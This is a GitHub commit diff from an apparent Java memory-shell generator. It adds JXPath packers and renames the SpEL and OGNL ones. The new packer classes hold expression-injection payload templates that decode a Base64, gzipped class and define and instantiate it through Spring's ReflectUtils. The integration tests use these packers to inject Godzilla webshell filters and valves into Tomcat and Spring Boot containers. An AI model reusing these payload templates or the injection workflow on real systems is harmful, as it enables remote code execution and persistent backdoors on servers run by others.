Skip to content

Commit 718ae2e

Browse files
committed
feat: support JXPathSpringGzipPacker
1 parent 460cc9f commit 718ae2e

File tree

21 files changed

+292
-103
lines changed

21 files changed

+292
-103
lines changed

integration-test/build.gradle.kts

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -28,6 +28,7 @@ dependencies {
2828
testImplementation(libs.junit.platform.reporting)
2929
testImplementation(libs.junit.jupiter)
3030
testImplementation(libs.junit.pioneer)
31+
testImplementation(libs.logback.classic)
3132
testRuntimeOnly(libs.junit.platform.launcher)
3233
testImplementation(libs.hamcrest)
3334
testImplementation(libs.bundles.testcontainers)

integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java

Lines changed: 9 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -296,7 +296,9 @@ public static MemShellResult generate(String urlPattern, String server, String s
296296
if (StringUtils.isNotBlank(urlPattern)) {
297297
injectorConfig.setUrlPattern(urlPattern);
298298
}
299-
if (Packers.SpELSpringIOUtilsJDK17.equals(packer)) {
299+
if (Packers.SpELSpringGzipJDK17.equals(packer)
300+
|| Packers.OGNLSpringGzipJDK17.equals(packer)
301+
|| Packers.JXPathSpringGzipJDK17.equals(packer)) {
300302
injectorConfig.setInjectorClassName("org.springframework.expression." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)] + getRandomString(5));
301303
}
302304

@@ -328,13 +330,15 @@ public static void injectIsOk(String url, String shellType, String shellTool, St
328330
VulTool.uploadJspFileToServer(uploadEntry, filename, content);
329331
VulTool.urlIsOk(shellUrl);
330332
}
331-
case ScriptEngine, DefaultScriptEngine, ScriptEngineBigInteger -> VulTool.postIsOk(url + "/js", content);
333+
case DefaultScriptEngine, ScriptEngineNoSquareBrackets, ScriptEngineBigInteger ->
334+
VulTool.postIsOk(url + "/js", content);
332335
case EL -> VulTool.postIsOk(url + "/el", content);
333-
case SpEL, SpELSpringIOUtils, SpELScriptEngine, SpELSpringIOUtilsJDK17 ->
336+
case SpELSpringGzip, SpELScriptEngine, SpELSpringGzipJDK17 ->
334337
VulTool.postIsOk(url + "/spel", content);
335-
case OGNL, OGNLSpringIOUtils, OGNLScriptEngine -> VulTool.postIsOk(url + "/ognl", content);
338+
case OGNLSpringGzip, OGNLScriptEngine, OGNLSpringGzipJDK17 -> VulTool.postIsOk(url + "/ognl", content);
336339
case MVEL -> VulTool.postIsOk(url + "/mvel", content);
337-
case JXPath -> VulTool.postIsOk(url + "/jxpath", content);
340+
case JXPathScriptEngine, JXPathSpringGzip, JXPathSpringGzipJDK17 ->
341+
VulTool.postIsOk(url + "/jxpath", content);
338342
case JEXL -> VulTool.postIsOk(url + "/jexl2", content);
339343
case Aviator -> VulTool.postIsOk(url + "/aviator", content);
340344
case Groovy -> VulTool.postIsOk(url + "/groovy", content);

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ContainerTest.java

Lines changed: 0 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -102,9 +102,4 @@ static Stream<Arguments> tomcatCasesProvider() {
102102
void testTomcat(String imageName, String shellType, String shellTool, Packers packer) {
103103
shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container, python);
104104
}
105-
106-
@Test
107-
void testCommandValveSpELSpringIOUtilsJDK17() {
108-
ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, ShellType.JAKARTA_VALVE, ShellTool.Command, Opcodes.V17, Packers.SpELSpringIOUtilsJDK17, container);
109-
}
110105
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,71 @@
1+
package com.reajason.javaweb.integration.memshell.springwebmvc;
2+
3+
import com.reajason.javaweb.Server;
4+
import com.reajason.javaweb.integration.ShellAssertion;
5+
import com.reajason.javaweb.memshell.ShellTool;
6+
import com.reajason.javaweb.memshell.ShellType;
7+
import com.reajason.javaweb.packer.Packers;
8+
import lombok.extern.slf4j.Slf4j;
9+
import net.bytebuddy.jar.asm.Opcodes;
10+
import org.junit.jupiter.api.AfterAll;
11+
import org.junit.jupiter.params.ParameterizedTest;
12+
import org.junit.jupiter.params.provider.Arguments;
13+
import org.junit.jupiter.params.provider.MethodSource;
14+
import org.testcontainers.containers.GenericContainer;
15+
import org.testcontainers.containers.wait.strategy.Wait;
16+
import org.testcontainers.images.builder.ImageFromDockerfile;
17+
import org.testcontainers.junit.jupiter.Container;
18+
import org.testcontainers.junit.jupiter.Testcontainers;
19+
20+
import java.util.stream.Stream;
21+
22+
import static com.reajason.javaweb.integration.ContainerTool.*;
23+
import static org.junit.jupiter.params.provider.Arguments.arguments;
24+
25+
/**
26+
* @author ReaJason
27+
* @since 2024/12/22
28+
*/
29+
@Testcontainers
30+
@Slf4j
31+
public class SpringBoot3ExpressionContainerTest {
32+
public static final String imageName = "springboot3";
33+
34+
@Container
35+
public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
36+
.withDockerfile(springBoot3Dockerfile))
37+
.withCopyToContainer(jattachFile, "/jattach")
38+
.withCopyToContainer(springbootPid, "/fetch_pid.sh")
39+
.waitingFor(Wait.forHttp("/test"))
40+
.withExposedPorts(8080);
41+
42+
43+
public static String getUrl(GenericContainer<?> container) {
44+
String host = container.getHost();
45+
int port = container.getMappedPort(8080);
46+
String url = "http://" + host + ":" + port;
47+
log.info("container started, app url is : {}", url);
48+
return url;
49+
}
50+
51+
@AfterAll
52+
static void tearDown() {
53+
String logs = container.getLogs();
54+
log.info(logs);
55+
// assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
56+
}
57+
58+
static Stream<Arguments> casesProvider() {
59+
return Stream.of(
60+
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.SpELSpringGzipJDK17),
61+
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.OGNLSpringGzipJDK17),
62+
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17)
63+
);
64+
}
65+
66+
@ParameterizedTest(name = "{0}-expression|{1}{2}|{3}")
67+
@MethodSource("casesProvider")
68+
void test(String imageName, String shellType, String shellTool, Packers packer) {
69+
ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container);
70+
}
71+
}

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ExpressionContainerTest.java

Lines changed: 5 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -44,16 +44,17 @@ static Stream<Arguments> casesProvider() {
4444
return Stream.of(
4545
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.EL),
4646
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLScriptEngine),
47-
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLSpringIOUtils),
47+
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLSpringGzip),
4848
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.MVEL),
4949
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELScriptEngine),
50-
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELSpringIOUtils),
50+
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELSpringGzip),
5151
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JEXL),
52-
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JXPath),
52+
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JXPathScriptEngine),
53+
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JXPathSpringGzip),
5354
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Aviator),
5455
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.BeanShell),
55-
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngine),
5656
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.DefaultScriptEngine),
57+
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngineNoSquareBrackets),
5758
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngineBigInteger),
5859
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Groovy),
5960
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Rhino),

packer/src/main/java/com/reajason/javaweb/packer/Packers.java

Lines changed: 18 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -29,18 +29,23 @@
2929
import com.reajason.javaweb.packer.jsp.JspPacker;
3030
import com.reajason.javaweb.packer.jsp.JspxPacker;
3131
import com.reajason.javaweb.packer.jxpath.JXPathPacker;
32+
import com.reajason.javaweb.packer.jxpath.JXPathScriptEnginePacker;
33+
import com.reajason.javaweb.packer.jxpath.JXPathSpringGzipJDK17Packer;
34+
import com.reajason.javaweb.packer.jxpath.JXPathSpringGzipPacker;
3235
import com.reajason.javaweb.packer.mvel.MVELPacker;
3336
import com.reajason.javaweb.packer.ognl.OGNLPacker;
3437
import com.reajason.javaweb.packer.ognl.OGNLScriptEnginePacker;
35-
import com.reajason.javaweb.packer.ognl.OGNLSpringIOUtilsGzipPacker;
38+
import com.reajason.javaweb.packer.ognl.OGNLSpringGzipJDK17Packer;
39+
import com.reajason.javaweb.packer.ognl.OGNLSpringGzipPacker;
3640
import com.reajason.javaweb.packer.rhino.RhinoPacker;
3741
import com.reajason.javaweb.packer.scriptengine.DefaultScriptEnginePacker;
3842
import com.reajason.javaweb.packer.scriptengine.ScriptEngineBigIntegerPacker;
43+
import com.reajason.javaweb.packer.scriptengine.ScriptEngineNoSquareBracketsPacker;
3944
import com.reajason.javaweb.packer.scriptengine.ScriptEnginePacker;
4045
import com.reajason.javaweb.packer.spel.SpELPacker;
4146
import com.reajason.javaweb.packer.spel.SpELScriptEnginePacker;
42-
import com.reajason.javaweb.packer.spel.SpELSpringIOUtilsGzipJDK17Packer;
43-
import com.reajason.javaweb.packer.spel.SpELSpringIOUtilsGzipPacker;
47+
import com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer;
48+
import com.reajason.javaweb.packer.spel.SpELSpringGzipPacker;
4449
import com.reajason.javaweb.packer.velocity.VelocityPacker;
4550
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker;
4651
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker;
@@ -90,6 +95,7 @@ public enum Packers {
9095
*/
9196
ScriptEngine(new ScriptEnginePacker()),
9297
DefaultScriptEngine(new DefaultScriptEnginePacker(), ScriptEnginePacker.class),
98+
ScriptEngineNoSquareBrackets(new ScriptEngineNoSquareBracketsPacker(), ScriptEnginePacker.class),
9399
ScriptEngineBigInteger(new ScriptEngineBigIntegerPacker(), ScriptEnginePacker.class),
94100
Rhino(new RhinoPacker()),
95101

@@ -100,18 +106,24 @@ public enum Packers {
100106

101107
OGNL(new OGNLPacker()),
102108
OGNLScriptEngine(new OGNLScriptEnginePacker(), OGNLPacker.class),
103-
OGNLSpringIOUtils(new OGNLSpringIOUtilsGzipPacker(), OGNLPacker.class),
109+
OGNLSpringGzip(new OGNLSpringGzipPacker(), OGNLPacker.class),
110+
OGNLSpringGzipJDK17(new OGNLSpringGzipJDK17Packer(), OGNLPacker.class),
104111

105112
MVEL(new MVELPacker()),
106113
Aviator(new AviatorPacker()),
114+
107115
JXPath(new JXPathPacker()),
116+
JXPathSpringGzip(new JXPathSpringGzipPacker(), JXPathPacker.class),
117+
JXPathSpringGzipJDK17(new JXPathSpringGzipJDK17Packer(), JXPathPacker.class),
118+
119+
108120
JEXL(new JEXLPacker()),
109121
BeanShell(new BeanShellPacker()),
110122

111123
SpEL(new SpELPacker()),
112124
SpELScriptEngine(new SpELScriptEnginePacker(), SpELPacker.class),
113-
SpELSpringIOUtils(new SpELSpringIOUtilsGzipPacker(), SpELPacker.class),
114-
SpELSpringIOUtilsJDK17(new SpELSpringIOUtilsGzipJDK17Packer(), SpELPacker.class),
125+
SpELSpringGzip(new SpELSpringGzipPacker(), SpELPacker.class),
126+
SpELSpringGzipJDK17(new SpELSpringGzipJDK17Packer(), SpELPacker.class),
115127

116128
Groovy(new GroovyPacker()),
117129
GroovyClassDefiner(new GroovyClassDefinerPacker(), GroovyPacker.class),
Lines changed: 2 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,19 +1,11 @@
11
package com.reajason.javaweb.packer.jxpath;
22

3-
import com.reajason.javaweb.packer.ClassPackerConfig;
4-
import com.reajason.javaweb.packer.Packer;
5-
import com.reajason.javaweb.packer.Packers;
3+
import com.reajason.javaweb.packer.AggregatePacker;
64

75
/**
86
* @author ReaJason
97
* @since 2024/12/13
108
*/
11-
public class JXPathPacker implements Packer {
12-
String template = "eval(getEngineByName(javax.script.ScriptEngineManager.new(), 'js'), '{{script}}')";
9+
public class JXPathPacker implements AggregatePacker {
1310

14-
@Override
15-
public String pack(ClassPackerConfig config) {
16-
String script = Packers.ScriptEngine.getInstance().pack(config);
17-
return template.replace("{{script}}", script);
18-
}
1911
}
Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
package com.reajason.javaweb.packer.jxpath;
2+
3+
import com.reajason.javaweb.packer.ClassPackerConfig;
4+
import com.reajason.javaweb.packer.Packer;
5+
import com.reajason.javaweb.packer.Packers;
6+
7+
/**
8+
* @author ReaJason
9+
* @since 2024/12/13
10+
*/
11+
public class JXPathScriptEnginePacker implements Packer {
12+
String template = "eval(getEngineByName(javax.script.ScriptEngineManager.new(), 'js'), '{{script}}')";
13+
14+
@Override
15+
public String pack(ClassPackerConfig config) {
16+
String script = Packers.ScriptEngineNoSquareBrackets.getInstance().pack(config);
17+
return template.replace("{{script}}", script);
18+
}
19+
}
Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
package com.reajason.javaweb.packer.jxpath;
2+
3+
import com.reajason.javaweb.packer.ClassPackerConfig;
4+
import com.reajason.javaweb.packer.Packer;
5+
import com.reajason.javaweb.packer.Packers;
6+
7+
import static com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer.assertClassNameValid;
8+
9+
/**
10+
* @author ReaJason
11+
* @since 2024/12/13
12+
*/
13+
public class JXPathSpringGzipJDK17Packer implements Packer {
14+
String template = "newInstance(org.springframework.cglib.core.ReflectUtils.defineClass('{{className}}',org.springframework.util.StreamUtils.copyToByteArray(java.util.zip.GZIPInputStream.new(java.io.ByteArrayInputStream.new(org.springframework.util.Base64Utils.decodeFromString('{{base64Str}}')))),getContextClassLoader(java.lang.Thread.currentThread()),getProtectionDomain(java.lang.Class.forName('org.springframework.expression.ExpressionParser')),java.lang.Class.forName('org.springframework.expression.ExpressionParser')))";
15+
16+
@Override
17+
public String pack(ClassPackerConfig config) {
18+
String className = config.getClassName();
19+
assertClassNameValid(className);
20+
return template.replace("{{className}}", className)
21+
.replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config));
22+
}
23+
}
Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
package com.reajason.javaweb.packer.jxpath;
2+
3+
import com.reajason.javaweb.packer.ClassPackerConfig;
4+
import com.reajason.javaweb.packer.Packer;
5+
import com.reajason.javaweb.packer.Packers;
6+
7+
/**
8+
* @author ReaJason
9+
* @since 2024/12/13
10+
*/
11+
public class JXPathSpringGzipPacker implements Packer {
12+
String template = "newInstance(org.springframework.cglib.core.ReflectUtils.defineClass('{{className}}',org.springframework.util.StreamUtils.copyToByteArray(java.util.zip.GZIPInputStream.new(java.io.ByteArrayInputStream.new(org.springframework.util.Base64Utils.decodeFromString('{{base64Str}}')))),getContextClassLoader(java.lang.Thread.currentThread())))";
13+
14+
@Override
15+
public String pack(ClassPackerConfig config) {
16+
return template.replace("{{className}}", config.getClassName())
17+
.replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config));
18+
}
19+
}

0 commit comments

Comments
 (0)